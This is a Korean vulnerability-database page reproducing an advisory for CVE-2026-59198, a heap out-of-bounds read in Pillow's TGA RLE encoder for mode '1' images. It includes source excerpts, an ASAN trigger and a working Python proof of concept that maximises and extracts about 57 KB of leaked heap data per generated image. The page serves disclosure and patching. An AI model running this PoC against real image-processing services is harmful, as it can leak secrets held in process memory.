CVE-2026-59198MEDIUM· 6.5MITRENVDGHSA대응게시일: 2026. 07. 14.수정일: 2026. 07. 20.

Pillow TGA RLE encoder can serialize up to ~57 KB of adjacent heap data into generated images

Memory-Corruption

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음

CVSS

6.5medium

이론적 심각도 점수

EPSS

0.3%상위 76.3%

30일 내 악용 확률 예측

KEV

미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로

공격 벡터네트워크

공격 복잡도높음

필요 권한불필요

사용자 상호작용불필요

범위불변

영향

기밀성 영향높음

무결성 영향없음

가용성 영향낮음

버전별 점수

CVSS 3.16.5MODERATE

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:L

상세 설명

Summary

Pillow's TGA RLE encoder reads past its row buffer when saving a mode "1"
image. Adjacent process heap bytes can be copied into the generated TGA file.

The bug is reachable through the public save API:

text

 1im.save(out, format="TGA", compression="tga_rle")

Older affected Pillow versions use the equivalent public option rle=True.

For mode "1", Pillow allocates a packed row buffer of ceil(width / 8)
bytes, but ImagingTgaRleEncode() treats the row as one full byte per pixel.

The maximum valid TGA width is 65535. At that width:

text

 1allocated packed row buffer: 8192 bytes
 2encoder byte-offset walk:     65535 bytes
 3maximum OOB window per row:   57343 bytes

On non-ASAN Pillow 12.2.0, the public-only maximum-width PoC below serialized
57297 bytes from distinct out-of-bounds source offsets into one returned TGA,
covering 99.92% of the maximum adjacent heap window. No heap grooming, ctypes,
private API, or malformed input file was used. The disclosure is emitted across
many TGA packet payload copies of at most 128 bytes each, not one large
memcpy().

Details

src/PIL/TgaImagePlugin.py allows mode "1" TGA output and selects the
tga_rle encoder when RLE compression is requested.

src/encode.c:_setimage() allocates the row buffer using the packed-bit
formula:

text

 1state->bytes = (state->bits * state->xsize + 7) / 8;
 2state->buffer = (UINT8 *)calloc(1, state->bytes);

For mode "1", state->bits == 1.

src/libImaging/TgaRleEncode.c then computes:

text

 1bytesPerPixel = (state->bits + 7) / 8;

This becomes 1, and the encoder uses pixel indexes as byte offsets:

text

 1static int
 2comparePixels(const UINT8 *buf, int x, int bytesPerPixel) {
 3    buf += x * bytesPerPixel;
 4    return memcmp(buf, buf + bytesPerPixel, bytesPerPixel) == 0;
 5}

The packet payload memcpy() later copies those out-of-bounds source bytes into
the output. Raw packets copy up to 128 contiguous bytes, while RLE packets copy
one representative byte:

text

 1memcpy(
 2    dst, state->buffer + (state->x * bytesPerPixel - state->count), flushCount
 3);

A width-2 mode "1" image allocates one row byte and already triggers an ASAN
heap-buffer-overflow read. Wider images increase the adjacent heap window and
the amount of heap data that can be serialized.

PoC

Minimal ASAN trigger

python

 1import io
 2from PIL import Image
 3 
 4out = io.BytesIO()
 5Image.new("1", (2, 1)).save(out, format="TGA", compression="tga_rle")

Observed on local Pillow 12.3.0.dev0 ASAN target:

text

 1ERROR: AddressSanitizer: heap-buffer-overflow
 2READ of size 1
 3comparePixels /out/src/src/libImaging/TgaRleEncode.c:10
 4ImagingTgaRleEncode /out/src/src/libImaging/TgaRleEncode.c:81
 50 bytes after a 1-byte allocation from _setimage

Maximum-width heap disclosure

This PoC uses one maximum-width row. It parses the generated TGA packets and
extracts only payload bytes whose source offsets were outside the allocated
packed row. Rows are avoided because they mostly repeat the same adjacent heap window.

Run the following with a standard affected Pillow installation.

python

 1import hashlib
 2import io
 3import PIL
 4from PIL import Image
 5 
 6WIDTH = 65535
 7ATTEMPTS = 20
 8ROW_BYTES = (WIDTH + 7) // 8
 9MAX_OOB_WINDOW = WIDTH - ROW_BYTES
10 
11def extract_oob_payload(data):
12    i = 18
13    pixel = 0
14    oob = bytearray()
15 
16    while pixel < WIDTH:
17        descriptor = data[i]
18        i += 1
19        count = (descriptor & 0x7F) + 1
20 
21        if descriptor & 0x80:
22            value = data[i]
23            i += 1
24            if pixel + count - 1 >= ROW_BYTES:
25                oob.append(value)
26        else:
27            values = data[i : i + count]
28            i += count
29            oob.extend(values[max(ROW_BYTES - pixel, 0) :])
30 
31        pixel += count
32 
33    return bytes(oob)
34 
35 
36best = b""
37 
38for _ in range(ATTEMPTS):
39    out = io.BytesIO()
40    Image.new("1", (WIDTH, 1), 0).save(out, format="TGA", compression="tga_rle")
41    oob = extract_oob_payload(out.getvalue())
42    if len(oob) > len(best):
43        best = oob
44 
45with open("/tmp/max_oob_bytes.bin", "wb") as fp:
46    fp.write(best)
47 
48print(f"Pillow={PIL.__version__}")
49print(f"packed_row_bytes={ROW_BYTES}")
50print(f"maximum_oob_window={MAX_OOB_WINDOW}")
51print(f"serialized_distinct_oob_offsets={len(best)}")
52print(f"nonzero_oob_bytes={sum(byte != 0 for byte in best)}")
53print(f"coverage={len(best) / MAX_OOB_WINDOW:.2%}")
54print(f"sha256={hashlib.sha256(best).hexdigest()}")

Observed on installed Pillow 12.2.0:

text

 1Pillow=12.2.0
 2packed_row_bytes=8192
 3maximum_oob_window=57343
 4serialized_distinct_oob_offsets=57297
 5nonzero_oob_bytes=54407
 6coverage=99.92%

Impact

This is a heap out-of-bounds read and potential information disclosure.

A maximum-width single-row image can cause nearly the full
57343-byte adjacent heap window to be incorporated into one output file.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.

참고 자료 6

링크 내용 불러오는 중…